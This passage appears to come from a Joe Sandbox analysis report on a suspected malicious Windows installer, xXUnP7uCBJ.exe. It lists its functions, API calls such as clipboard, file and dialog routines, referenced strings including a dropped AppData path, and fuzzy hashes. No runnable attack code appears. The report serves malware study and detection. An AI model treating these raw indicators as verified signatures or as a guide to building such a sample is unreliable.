Opcode Fuzzy Hash: a8e94fdf895113144ef30ac0413fc9f69bed743b5e5124c6f76e238eb3875bc5
Instruction Fuzzy Hash: C1D0123210420DBBDF11AE90DD01FAB372DAF14714F114826FE06A4091D775D530AB14

Function 0040345D Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,0040315B,?), ref: 0040346B

Memory Dump Source

Source File: 00000000.00000002.2209910807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2209853074.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209928142.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2210772601.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xXUnP7uCBJ.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: d5a77a7b91dde00220c09aa0a832f43c90240fc94845358d4caa889c1b96a79f
Instruction ID: c7266a3154837caca095f11e7777f6dda2278cbf6cff4ee7664d3894fc3aa091
Opcode Fuzzy Hash: d5a77a7b91dde00220c09aa0a832f43c90240fc94845358d4caa889c1b96a79f
Instruction Fuzzy Hash: ECB01271240300BFDA214F00DF09F057B21AB90700F10C034B348380F086711035EB0D

Function 00404394 Relevance: 1.5, APIs: 1, Instructions: 6windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000028,?,00000001,004041BF), ref: 004043A2

Memory Dump Source

Source File: 00000000.00000002.2209910807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2209853074.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209928142.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2210772601.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xXUnP7uCBJ.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: bd7e8dc2c5871e064c502d82a01b6574672f0de651032f207fd53ed2aa40cebc
Instruction ID: e4171d0a4592585bcf4a2ca6fb2eaed9aff33c093be5cb9cf1e9125a9c9e1139
Opcode Fuzzy Hash: bd7e8dc2c5871e064c502d82a01b6574672f0de651032f207fd53ed2aa40cebc
Instruction Fuzzy Hash: 0EB09235290600ABDE214B40DE49F457A62E7A4701F008178B240640B0CAB200A1DB19

Non-executed Functions

Function 0040558F Relevance: 66.8, APIs: 36, Strings: 2, Instructions: 284windowclipboardmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000403), ref: 004055ED
GetDlgItem.USER32(?,000003EE), ref: 004055FC
GetClientRect.USER32(?,?), ref: 00405639
GetSystemMetrics.USER32(00000002), ref: 00405640
SendMessageW.USER32(?,00001061,00000000,?), ref: 00405661
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 00405672
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 00405685
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 00405693
SendMessageW.USER32(?,00001024,00000000,?), ref: 004056A6
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 004056C8
ShowWindow.USER32(?,00000008), ref: 004056DC
GetDlgItem.USER32(?,000003EC), ref: 004056FD
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 0040570D
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 00405726
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 00405732
GetDlgItem.USER32(?,000003F8), ref: 0040560B

Part of subcall function 00404394: SendMessageW.USER32(00000028,?,00000001,004041BF), ref: 004043A2

GetDlgItem.USER32(?,000003EC), ref: 0040574F
CreateThread.KERNEL32(00000000,00000000,Function_00005523,00000000), ref: 0040575D
CloseHandle.KERNEL32(00000000), ref: 00405764
ShowWindow.USER32(00000000), ref: 00405788
ShowWindow.USER32(?,00000008), ref: 0040578D
ShowWindow.USER32(00000008), ref: 004057D7
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040580B
CreatePopupMenu.USER32 ref: 0040581C
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 00405830
GetWindowRect.USER32(?,?), ref: 00405850
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 00405869
SendMessageW.USER32(?,00001073,00000000,?), ref: 004058A1
OpenClipboard.USER32(00000000), ref: 004058B1
EmptyClipboard.USER32 ref: 004058B7
GlobalAlloc.KERNEL32(00000042,00000000), ref: 004058C3
GlobalLock.KERNEL32(00000000), ref: 004058CD
SendMessageW.USER32(?,00001073,00000000,?), ref: 004058E1
GlobalUnlock.KERNEL32(00000000), ref: 00405901
SetClipboardData.USER32(0000000D,00000000), ref: 0040590C
CloseClipboard.USER32 ref: 00405912

Strings

(7B, xrefs: 0040587D
{, xrefs: 004057F5

Memory Dump Source

Source File: 00000000.00000002.2209910807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2209853074.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209928142.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2210772601.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xXUnP7uCBJ.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: (7B${
API String ID: 590372296-525222780
Opcode ID: 1d1f977673fe441afad02026140f53aaec566053b515a361d3c8f7f727d52ca3
Instruction ID: ef9837d71be30d97cad1ad5ee6bf48d4101bac37d77d0ad6e239d9f51a57dc01
Opcode Fuzzy Hash: 1d1f977673fe441afad02026140f53aaec566053b515a361d3c8f7f727d52ca3
Instruction Fuzzy Hash: C4B16A70900608FFDB11AFA0DD85AAE7B79FB48355F00403AFA45B61A0CB754E52DF68

Function 00404850 Relevance: 23.0, APIs: 10, Strings: 3, Instructions: 275stringCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003FB), ref: 0040489F
SetWindowTextW.USER32(00000000,?), ref: 004048C9
SHBrowseForFolderW.SHELL32(?), ref: 0040497A
CoTaskMemFree.OLE32(00000000), ref: 00404985
lstrcmpiW.KERNEL32(Call,00423728,00000000,?,?), ref: 004049B7
lstrcatW.KERNEL32(?,Call), ref: 004049C3
SetDlgItemTextW.USER32(?,000003FB,?), ref: 004049D5

Part of subcall function 00405A32: GetDlgItemTextW.USER32(?,?,00000400,00404A0C), ref: 00405A45

Part of subcall function 0040667C: CharNextW.USER32(?,*?|<>/":,00000000,00000000,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00435000,00403480,C:\Users\user\AppData\Local\Temp\,75573420,004036EF,?,00000006,00000008,0000000A), ref: 004066DF
Part of subcall function 0040667C: CharNextW.USER32(?,?,?,00000000,?,00000006,00000008,0000000A), ref: 004066EE
Part of subcall function 0040667C: CharNextW.USER32(?,00000000,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00435000,00403480,C:\Users\user\AppData\Local\Temp\,75573420,004036EF,?,00000006,00000008,0000000A), ref: 004066F3
Part of subcall function 0040667C: CharPrevW.USER32(?,?,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00435000,00403480,C:\Users\user\AppData\Local\Temp\,75573420,004036EF,?,00000006,00000008,0000000A), ref: 00406706

GetDiskFreeSpaceW.KERNEL32(004216F8,?,?,0000040F,?,004216F8,004216F8,?,00000001,004216F8,?,?,000003FB,?), ref: 00404A98
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404AB3

Part of subcall function 00404C0C: lstrlenW.KERNEL32(00423728,00423728,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404CAD
Part of subcall function 00404C0C: wsprintfW.USER32 ref: 00404CB6
Part of subcall function 00404C0C: SetDlgItemTextW.USER32(?,00423728), ref: 00404CC9

Strings

A, xrefs: 00404973
Call, xrefs: 004049B1, 004049B6, 004049C1
(7B, xrefs: 0040494D

Memory Dump Source

Source File: 00000000.00000002.2209910807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2209853074.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209928142.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2210772601.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xXUnP7uCBJ.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpilstrlenwsprintf
String ID: (7B$A$Call
API String ID: 2624150263-413618503
Opcode ID: 60ed21fe2f328070877fcf4fb1291f079d9e461e65f212612ce38389da6d49e8
Instruction ID: 217fbe9c53fcac7a38d38ba6b36a95d3c52d9e466bb1b0d29fe77156d884dce9
Opcode Fuzzy Hash: 60ed21fe2f328070877fcf4fb1291f079d9e461e65f212612ce38389da6d49e8
Instruction Fuzzy Hash: 01A161F1A00205ABDB11EFA5C985AAF77B8EF84315F10803BF611B62D1D77C9A418B6D

Function 00402104 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 129comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(004084E4,?,00000001,004084D4,?,?,00000045,000000CD,00000002,000000DF,000000F0), ref: 00402183

Strings

C:\Users\user\AppData\Local\Iw\Antndelsens, xrefs: 004021C3

Memory Dump Source

Source File: 00000000.00000002.2209910807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2209853074.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209928142.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2210772601.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xXUnP7uCBJ.jbxd

Similarity

API ID: CreateInstance
String ID: C:\Users\user\AppData\Local\Iw\Antndelsens
API String ID: 542301482-982084275
Opcode ID: 4630f11a642d4e3ef4f98d2454dc0e8d663bfbe8c95ddff176ede1b1d5b4d77b
Instruction ID: a370b0fa9b2e606d6813e98b4c017b265e4ea8c47d708310f479c561ceb58c7b
Opcode Fuzzy Hash: 4630f11a642d4e3ef4f98d2454dc0e8d663bfbe8c95ddff176ede1b1d5b4d77b
Instruction Fuzzy Hash: 80414A71A00208AFCF04DFE4C988A9D7BB5FF48314B24457AF915EB2E1DBB99981CB54

Function 00402868 Relevance: 1.5, APIs: 1, Instructions: 30fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00000000,?,00000002), ref: 00402877

Memory Dump Source

Source File: 00000000.00000002.2209910807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2209853074.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209928142.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2210772601.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xXUnP7uCBJ.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: 6fd2962910cdf18594a7907c322fc030c9e7a26b232b9d9b5d327205302d7dac
Instruction ID: e6f127318fd58302517648c6e406f49d0db104963aa8d987e753e5cb7f87edca
Opcode Fuzzy Hash: 6fd2962910cdf18594a7907c322fc030c9e7a26b232b9d9b5d327205302d7dac
Instruction Fuzzy Hash: EDF08271A14104EBDB10DBA4DA499AEB378EF14314F60467BF545F21E0DBB45D809B2A

Function 0040451E Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 204windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,-0000040A,00000001), ref: 004045BC
GetDlgItem.USER32(?,000003E8), ref: 004045D0
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 004045ED
GetSysColor.USER32(?), ref: 004045FE
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 0040460C
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 0040461A
lstrlenW.KERNEL32(?), ref: 0040461F
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 0040462C
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 00404641
GetDlgItem.USER32(?,0000040A), ref: 0040469A
SendMessageW.USER32(00000000), ref: 004046A1
GetDlgItem.USER32(?,000003E8), ref: 004046CC
SendMessageW.USER32(00000000,0000044B,00000000,00000201), ref: 0040470F
LoadCursorW.USER32(00000000,00007F02), ref: 0040471D
SetCursor.USER32(00000000), ref: 00404720
LoadCursorW.USER32(00000000,00007F00), ref: 00404739
SetCursor.USER32(00000000), ref: 0040473C
SendMessageW.USER32(00000111,00000001,00000000), ref: 0040476B
SendMessageW.USER32(00000010,00000000,00000000), ref: 0040477D

Strings

Call, xrefs: 004046FB
N, xrefs: 004046BA

Memory Dump Source

Source File: 00000000.00000002.2209910807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2209853074.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209928142.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2210772601.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xXUnP7uCBJ.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorlstrlen
String ID: Call$N
API String ID: 3103080414-3438112850
Opcode ID: c2d943e7d3074a80d89972f065d7b0d6c6867904808fb573d17a53c74c23d30b
Instruction ID: 26ae409e5f73424340e4bb55f347a499eb46e427c8d4328441e026d38e95c6c2
Opcode Fuzzy Hash: c2d943e7d3074a80d89972f065d7b0d6c6867904808fb573d17a53c74c23d30b
Instruction Fuzzy Hash: 4B6173B1900209BFDB109F60DD85EAA7B69FB84314F00853AFB05772E0D7789D52CB58

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectW.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextW.USER32(00000000,00429240,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000000.00000002.2209910807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2209853074.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209928142.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2210772601.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xXUnP7uCBJ.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: a62f14d8607f0cab4b909ce482175ba86ddefa50def87cd09a38214d4056f576
Instruction ID: b35030fe9107d9a8359b932f7918d2348922827c9ca57aaae851fe5b21190c6b
Opcode Fuzzy Hash: a62f14d8607f0cab4b909ce482175ba86ddefa50def87cd09a38214d4056f576
Instruction Fuzzy Hash: 92418A71800249AFCF058FA5DE459AFBBB9FF44310F00842AF991AA1A0C738E955DFA4

Function 00406034 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 130memorystringCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(00000000,?,00000000,00000001,?,00000000,?,?,004061CF,?,?), ref: 0040606F
GetShortPathNameW.KERNEL32(?,00426DC8,00000400), ref: 00406078

Part of subcall function 00405E43: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00406128,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E53
Part of subcall function 00405E43: lstrlenA.KERNEL32(00000000,?,00000000,00406128,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E85

GetShortPathNameW.KERNEL32(?,004275C8,00000400), ref: 00406095
wsprintfA.USER32 ref: 004060B3
GetFileSize.KERNEL32(00000000,00000000,004275C8,C0000000,00000004,004275C8,?,?,?,?,?), ref: 004060EE
GlobalAlloc.KERNEL32(00000040,0000000A,?,?,?,?), ref: 004060FD
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00406135
SetFilePointer.KERNEL32(0040A590,00000000,00000000,00000000,00000000,004269C8,00000000,-0000000A,0040A590,00000000,[Rename],00000000,00000000,00000000), ref: 0040618B
GlobalFree.KERNEL32(00000000), ref: 0040619C
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 004061A3

Part of subcall function 00405EDE: GetFileAttributesW.KERNELBASE(00000003,00402F73,C:\Users\user\Desktop\xXUnP7uCBJ.exe,80000000,00000003), ref: 00405EE2
Part of subcall function 00405EDE: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405F04

Strings

%ls=%ls, xrefs: 004060A9
[Rename], xrefs: 0040611D, 0040612F

Memory Dump Source

Source File: 00000000.00000002.2209910807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2209853074.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209928142.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2210772601.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xXUnP7uCBJ.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrlen$AllocAttributesCreateFreePointerSizelstrcpywsprintf
String ID: %ls=%ls$[Rename]
API String ID: 2171350718-461813615
Opcode ID: a8f6130d4aa3065939d725957225dfc1b425243e5004b20d0867480790577512
Instruction ID: 8c4bc4cab4d3408e43c29de3b383fd3cef376d344e04ab2aaf2f470794b42cbb
Opcode Fuzzy Hash: a8f6130d4aa3065939d725957225dfc1b425243e5004b20d0867480790577512
Instruction Fuzzy Hash: 34313770200719BFD2206B619D48F6B3A6CEF45704F16043EFA46FA2D3DA3C99158ABD

Function 004043C6 Relevance: 12.1, APIs: 8, Instructions: 68COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 004043E3
GetSysColor.USER32(00000000), ref: 00404421
SetTextColor.GDI32(?,00000000), ref: 0040442D
SetBkMode.GDI32(?,?), ref: 00404439
GetSysColor.USER32(?), ref: 0040444C
SetBkColor.GDI32(?,?), ref: 0040445C
DeleteObject.GDI32(?), ref: 00404476
CreateBrushIndirect.GDI32(?), ref: 00404480

Memory Dump Source

Source File: 00000000.00000002.2209910807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2209853074.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209928142.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2210772601.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xXUnP7uCBJ.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: cedac81959eb3ef19a74f908d68e4e703a61b794166ebd5b231b869c6a402091
Instruction ID: 4d8d1a64c5805e8a020b3744e793f2033a9a6b6b0a681029562fed9dd316a9da
Opcode Fuzzy Hash: cedac81959eb3ef19a74f908d68e4e703a61b794166ebd5b231b869c6a402091
Instruction Fuzzy Hash: 722131715007049BCB319F68D948B5BBBF8AF81714B148A2EEE96E26E0D738D944CB54

Function 00405450 Relevance: 10.6, APIs: 7, Instructions: 72stringwindowCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000,?), ref: 00405488
lstrlenW.KERNEL32(00402F08,00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000), ref: 00405498
lstrcatW.KERNEL32(00422708,00402F08,00402F08,00422708,00000000,00000000,00000000), ref: 004054AB
SetWindowTextW.USER32(00422708,00422708), ref: 004054BD
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004054E3
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004054FD
SendMessageW.USER32(?,00001013,?,00000000), ref: 0040550B

Memory Dump Source

Source File: 00000000.00000002.2209910807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2209853074.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209928142.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2210772601.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xXUnP7uCBJ.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID:
API String ID: 2531174081-0
Opcode ID: d8bd542d8f5d0add287beae510a16995646733a1dc03fc5179ed0d48c47eb8dc
Instruction ID: e73fa1987b6059f35b704de59c80f6892b54c3d1ee51518932a2041d94d0b0cb
Opcode Fuzzy Hash: d8bd542d8f5d0add287beae510a16995646733a1dc03fc5179ed0d48c47eb8dc
Instruction Fuzzy Hash: BE21A171900558BACB119F95DD84ACFBFB5EF84314F10803AF904B22A1C3798A91CFA8

Function 0040667C Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 69COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,*?|<>/":,00000000,00000000,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00435000,00403480,C:\Users\user\AppData\Local\Temp\,75573420,004036EF,?,00000006,00000008,0000000A), ref: 004066DF
CharNextW.USER32(?,?,?,00000000,?,00000006,00000008,0000000A), ref: 004066EE
CharNextW.USER32(?,00000000,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00435000,00403480,C:\Users\user\AppData\Local\Temp\,75573420,004036EF,?,00000006,00000008,0000000A), ref: 004066F3
CharPrevW.USER32(?,?,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00435000,00403480,C:\Users\user\AppData\Local\Temp\,75573420,004036EF,?,00000006,00000008,0000000A), ref: 00406706

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 0040667D, 00406682
*?|<>/":, xrefs: 004066CE

Memory Dump Source

Source File: 00000000.00000002.2209910807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2209853074.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209928142.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2210772601.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xXUnP7uCBJ.jbxd

Similarity

API ID: Char$Next$Prev
String ID: *?|<>/":$C:\Users\user\AppData\Local\Temp\
API String ID: 589700163-2246974252
Opcode ID: 6f1dc59467bf7cdf849013f1baa50d92fe1cb62039c7f0915d7e3466f5f67e46
